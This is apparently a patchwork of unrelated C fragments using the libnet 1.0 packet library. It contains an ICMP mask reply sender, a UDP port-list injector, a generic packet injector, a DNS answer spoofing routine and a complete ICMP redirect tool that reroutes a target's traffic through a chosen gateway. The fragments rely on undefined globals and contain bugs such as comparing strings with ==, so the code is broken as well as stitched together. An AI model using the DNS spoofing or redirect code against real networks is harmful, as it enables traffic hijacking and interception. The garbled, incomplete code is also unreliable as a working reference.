int send_icmp(struct libnet_link_int *l, u_char *device, u_long src_ip, u_long dst_ip) { int n; u_char *buf; if (libnet_init_packet(LIBNET_ICMP_MASK_H + LIBNET_IP_H + LIBNET_ETH_H, &buf) == -1) { perror("no packet memory"); exit(EXIT_FAILURE); } /* * Ethernet header */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, buf); libnet_build_ip(LIBNET_ICMP_MASK_H, 0, /* IP tos */ 242, /* IP ID */ 0, /* Frag */ 64, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, buf + LIBNET_ETH_H); /* Packet header memory */ libnet_build_icmp_mask(ICMP_MASKREPLY, /* type */ 0, /* code */ 242, /* id */ 0, /* seq */ 0xffffffff, /* mask */ NULL, /* payload */ 0, /* payload_s */ buf + LIBNET_ETH_H + LIBNET_IP_H); libnet_do_checksum(buf + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IP_H); libnet_do_checksum(buf + LIBNET_ETH_H, IPPROTO_ICMP, LIBNET_ICMP_MASK_H); printf("Packet as it will appear on the wire (give or take some byte ordering):"); libnet_hex_dump(buf, LIBNET_ETH_H + LIBNET_IP_H + LIBNET_ICMP_MASK_H, 0, stdout); printf("\n"); n = libnet_write_link_layer(l, device, buf, LIBNET_ETH_H + LIBNET_IP_H + LIBNET_ICMP_MASK_H); if (n != LIBNET_ETH_H + LIBNET_IP_H + LIBNET_ICMP_MASK_H) { fprintf(stderr, "Oopz. Only wrote %d bytes\n", n); } else { printf("Wrote %d byte ICMP packet through linktype %d\n", n, l->linktype); } libnet_destroy_packet(&buf); return (n); }
int main(int argc, char *argv[]) { int packet_size, /* size of our packet */ payload_size, /* size of our packet */ c; /* misc */ u_long src_ip, dst_ip; /* source ip, dest ip */ u_short bport, eport; /* beginning and end ports */ u_short cport; /* current port */ u_char payload[MAX_PAYLOAD_SIZE]; /* packet payload */ u_char *packet; /* pointer to our packet buffer */ char err_buf[LIBNET_ERRBUF_SIZE]; /* error buffer */ u_char *device; /* pointer to the device to use */ struct libnet_link_int *network; /* pointer to link interface struct */ struct libnet_plist_chain plist; /* plist chain */ struct libnet_plist_chain *plist_p; /* plist chain pointer */ printf("libnet example code:\tmodule 4\n\n"); printf("packet injection interface:\tlink layer\n"); printf("packet type:\t\t\tUDP [with payload] using port list chaining\n"); plist_p = NULL; device = NULL; src_ip = 0; dst_ip = 0; while ((c = getopt(argc, argv, "i:d:s:p:")) != EOF) { switch (c) { case 'd': if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE))) { libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: %s\n", optarg); } break; case 'i': device = optarg; break; case 's': if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE))) { libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", optarg); } break; case 'p': plist_p = &plist; if (libnet_plist_chain_new(&plist_p, optarg) == -1) { libnet_error(LIBNET_ERR_FATAL, "Could not build port list\n"); } break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip || !plist_p) { usage(argv[0]); exit(EXIT_FAILURE); } c = argc - optind; if (c != 1) { usage(argv[0]); exit(EXIT_FAILURE); } memset(payload, 0, sizeof(payload)); strncpy(payload, argv[optind], strlen(argv[optind])); /* * Step 1: Network Initialization (interchangable with step 2). */ if (device == NULL) { struct sockaddr_in sin; /* * Try to locate a device. */ if (libnet_select_device(&sin, &device, err_buf) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf); } printf("device:\t\t\t\t%s\n", device); } if ((network = libnet_open_link_interface(device, err_buf)) == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf); } /* * Get the payload from the user. Hrm. This might fail on a Sparc * if byte alignment is off... */ payload_size = strlen(payload); /* * We're going to build a UDP packet with a payload using the * link-layer API, so this time we need memory for a ethernet header * as well as memory for the ICMP and IP headers and our payload. */ packet_size = LIBNET_IP_H + LIBNET_ETH_H + LIBNET_UDP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); /* * Step 3: Packet construction (IP header). */ libnet_build_ip(LIBNET_UDP_H + payload_size, 0, /* IP tos */ 242, /* IP ID */ 0, /* Frag */ 64, /* TTL */ IPPROTO_UDP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ while (libnet_plist_chain_next_pair(plist_p, &bport, &eport)) { while (!(bport > eport) && bport != 0) { cport = bport++; /* * Step 3: Packet construction (UDP header). */ libnet_build_udp(242, /* source port */ cport, /* dest. port */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* * Step 5: Packet injection. */ c = libnet_write_link_layer(network, device, packet, packet_size); if (c < packet_size) { libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c); } else { printf("construction and injection completed, wrote all %d bytes, port %d\n", c, cport); } } } /* * Shut down the interface. */ if (libnet_close_link_interface(network) == -1) { libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface"); } /* * Free packet memory. */ libnet_destroy_packet(&packet); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
/****************************************************************************** * spoof_dns * * * * check some conditions, build the actual packet, and write the answer * * arg1: (int) socket to write on * * ret: none * ******************************************************************************/ void spoof_dns (int socket) { struct in_addr src, dst; /* used for printing addresses */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ i; /* misc */ u_char *packet; /* we build this */ /* * check the following conditions before spoofing * if any of these conditions are violated then no spoofing is done * - we only want to spoof packets from a nameserver * - we only want to spoof packets from questions of type A * - we only want to spoof packets if we have an answer */ if (ntohs(chewycenter.dst_port) != 53) { if (!sflag) { printf("\nignoring packet: destination not a nameserver"); printf("\n--"); } return; } if (!chewycenter.is_a) { if (!sflag) { printf("\nignoring packet: question is not of type A"); printf("\n--"); } return; } if (!chewycenter.have_answer) { if (!sflag) { printf("\nignoring packet: no answer for this question"); printf("\n--"); } return; } /* * if we're here it means we're ready to spoof an answer, lets reflect that * in the spoofed answers count */ num_spoofed_answers++; /* * packet memory allocation */ packet_size = chewycenter.payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); return; } /* * ip header construction * source and destination are swapped here because we are spoofing a reply */ libnet_build_ip(LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 0, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ chewycenter.dst_address, /* source address */ chewycenter.src_address, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * source and destination ports are swapped here too * * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * although, from what i know, it really shouldn't be here */ libnet_build_udp(53, /* source port */ ntohs(chewycenter.src_port), /* destination port */ NULL, /* payload */ chewycenter.payload_size + 12, /* payload length */ packet + LIBNET_IP_H); /* * dns header construction */ libnet_build_dns(ntohs(chewycenter.dns_id), /* dns id */ 0x8580, /* control flags (QR,AA,RD,RA) */ 1, /* number of questions */ 1, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ chewycenter.payload, /* payload */ chewycenter.payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) { printf("\nwarning: "); libnet_error(LN_ERR_WARNING, "libnet only wrote %d of %d bytes", written_bytes, packet_size); printf("\n--"); } /* * we're done with this packet */ libnet_destroy_packet(&packet); /* * announce what we've just done * remember that we've swapped the addresses/ports */ src.s_addr = chewycenter.src_address; dst.s_addr = chewycenter.dst_address; printf("\nspoofing answer: %s:%d > ", inet_ntoa(dst), ntohs(chewycenter.dst_port)); printf("%s:%d", inet_ntoa(src), ntohs(chewycenter.src_port)); printf("\t[%s = %s]", chewycenter.current_question, chewycenter.current_answer); #if defined DEBUG printf("\nDEBUG>\n payload: [%d]", chewycenter.payload_size); for (i = 0; i < 52; i++) printf("%x ", chewycenter.payload[i]); printf("\n"); #endif printf("\n--"); if (oflag) { } }
void send_packet(char *protocol, int sport2, int dport2, int id, int ttl, int count, const u_char *payload, int payload_size) { char errbuf[LIBNET_ERRBUF_SIZE]; /* error buffer */ struct libnet_link_int *network; /* pointer to link interface struct */ int packet_size; /* size of our packet */ int ip_size; /* size of our ip */ int udp_size; /* size of our udp */ int tcp_size; /* size of our tcp */ int c; u_char *packet; /* pointer to our packet buffer */ /* * Step 1: Network Initialization (interchangable with step 2). */ if ((network = libnet_open_link_interface(dev2, errbuf)) == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", errbuf); } /* * We're going to build a UDP packet with a payload using the * link-layer API, so this time we need memory for a ethernet header * as well as memory for the ICMP and IP headers and our payload. */ if (protocol == "udp") { packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size; ip_size = LIBNET_IP_H + LIBNET_UDP_H + payload_size; udp_size = LIBNET_UDP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); printf("\n--- Injected packet number %i on %s ---\n", count, dev2); /* * Step 3: Packet construction (IP header). */ libnet_build_ip( LIBNET_UDP_H + payload_size, 0, /* IP tos */ id, /* IP ID */ 0, /* Frag */ ttl, /* TTL */ IPPROTO_UDP, /* Transport protocol */ inet_addr(saddr2), /* Source IP */ inet_addr(daddr2), /* Destination IP */ payload, /* Pointer to payload (none) */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ /* * Step 3: Packet construction (UDP header). */ libnet_build_udp( sport2, /* source port */ dport2, /* dest. port */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* print packet info */ if (!hide_header) { printf("IP header Src Addr: %s", saddr2); printf(" Dst Addr: %s\n", daddr2); printf(" Len: %i ID: %i TTL: %i\n", ip_size, id, ttl); printf("UDP header Src port: %i Dst port: %i Len: %i\n", sport2, dport2, udp_size); } if (!hide_payload) { printf("Payload (%d bytes)\n", payload_size); print_payload(payload, payload_size); } } if (protocol == "tcp") { packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_TCP_H + payload_size; ip_size = LIBNET_IP_H + LIBNET_TCP_H + payload_size; tcp_size = LIBNET_TCP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); printf("\n--- Injected packet number %i on %s ---\n", count, dev2); /* * Step 3: Packet construction (IP header). */ libnet_build_ip( LIBNET_TCP_H + payload_size, 0, /* IP tos */ id, /* IP ID */ 0, /* Frag */ ttl, /* TTL */ IPPROTO_TCP, /* Transport protocol */ inet_addr(saddr2), /* Source IP */ inet_addr(daddr2), /* Destination IP */ payload, /* Pointer to payload */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ /* * Step 3: Packet construction (TCP header). */ libnet_build_tcp( sport2, /* source TCP port */ dport2, /* destination TCP port */ 0xa1d95, /* sequence number */ 0x53, /* acknowledgement number */ TH_SYN, /* control flags */ 1024, /* window size */ 0, /* urgent pointer */ NULL, /* payload (none) */ 0, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_TCP, LIBNET_TCP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* print packet info */ if (!hide_header) { printf("IP header Src Addr: %s", saddr2); printf(" Dst Addr: %s\n", daddr2); printf(" Len: %i ID: %i TTL: %i\n", ip_size, id, ttl); printf("TCP header Src port: %i Dst port: %i Len: %i\n", sport2, dport2, tcp_size); } if (!hide_payload) { printf("Payload (%d bytes)\n", payload_size); print_payload(payload, payload_size); } } /* * Step 5: Packet injection. */ c = libnet_write_link_layer(network, dev2, packet, packet_size); if (c < packet_size) { libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c); } /* * Shut down the interface. */ if (libnet_close_link_interface(network) == -1) { libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface"); } /* * Free packet memory. */ libnet_destroy_packet(&packet); printf("\n"); }
int main(int argc, char **argv) { int sockfd, c; u_char *buf; u_long src, dst, gateway; if (argc < 4) { fprintf(stderr, "usage: %s <old_router> <target> <new_gateway>\n", argv[0]); exit(EXIT_FAILURE); } if (!(src = libnet_name_resolve(argv[1], 1))) { perror("Error resolving source host"); exit(EXIT_FAILURE); } if (!(dst = libnet_name_resolve(argv[2], 1))) { perror("Error resolving destination host"); exit(EXIT_FAILURE); } if (!(gateway = libnet_name_resolve(argv[3], 1))) { perror("Error resolving gateway host"); exit(EXIT_FAILURE); } if (libnet_init_packet(IP_MAXPACKET, &buf) == -1) { perror("Couldn't allocate memory for header"); exit(EXIT_FAILURE); } if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1) { perror("Couldn't open raw socket"); exit(EXIT_FAILURE); } libnet_build_ip(LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H, IPTOS_LOWDELAY | IPTOS_THROUGHPUT, 242, 0, 48, IPPROTO_ICMP, src, dst, NULL, 0, buf); libnet_build_icmp_redirect( ICMP_REDIRECT, ICMP_UNREACH_HOST, gateway, 0, /* just an ip header */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* IP tos */ 424, /* IP ID */ 0, /* Frag stuff */ 64, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ dst, /* Source IP */ src, /* Destination IP */ NULL, /* pointer to payload */ 0, /* size of payload */ buf + LIBNET_IP_H); /* packet header memory */ libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H); c = libnet_write_ip(sockfd, buf, LIBNET_ICMP_REDIRECT_H + 2 * LIBNET_IP_H); if (c != LIBNET_ICMP_REDIRECT_H + 2 * LIBNET_IP_H) { fprintf(stderr, "Error writing to socket, only wrote %d bytes\n", c); exit(EXIT_FAILURE); } printf("Completed, wrote %d bytes\n", c); libnet_destroy_packet(&buf); exit(EXIT_SUCCESS); }
int cleanup(void) { libnet_destroy_packet(&pkt); libnet_close_link_interface(linkint); }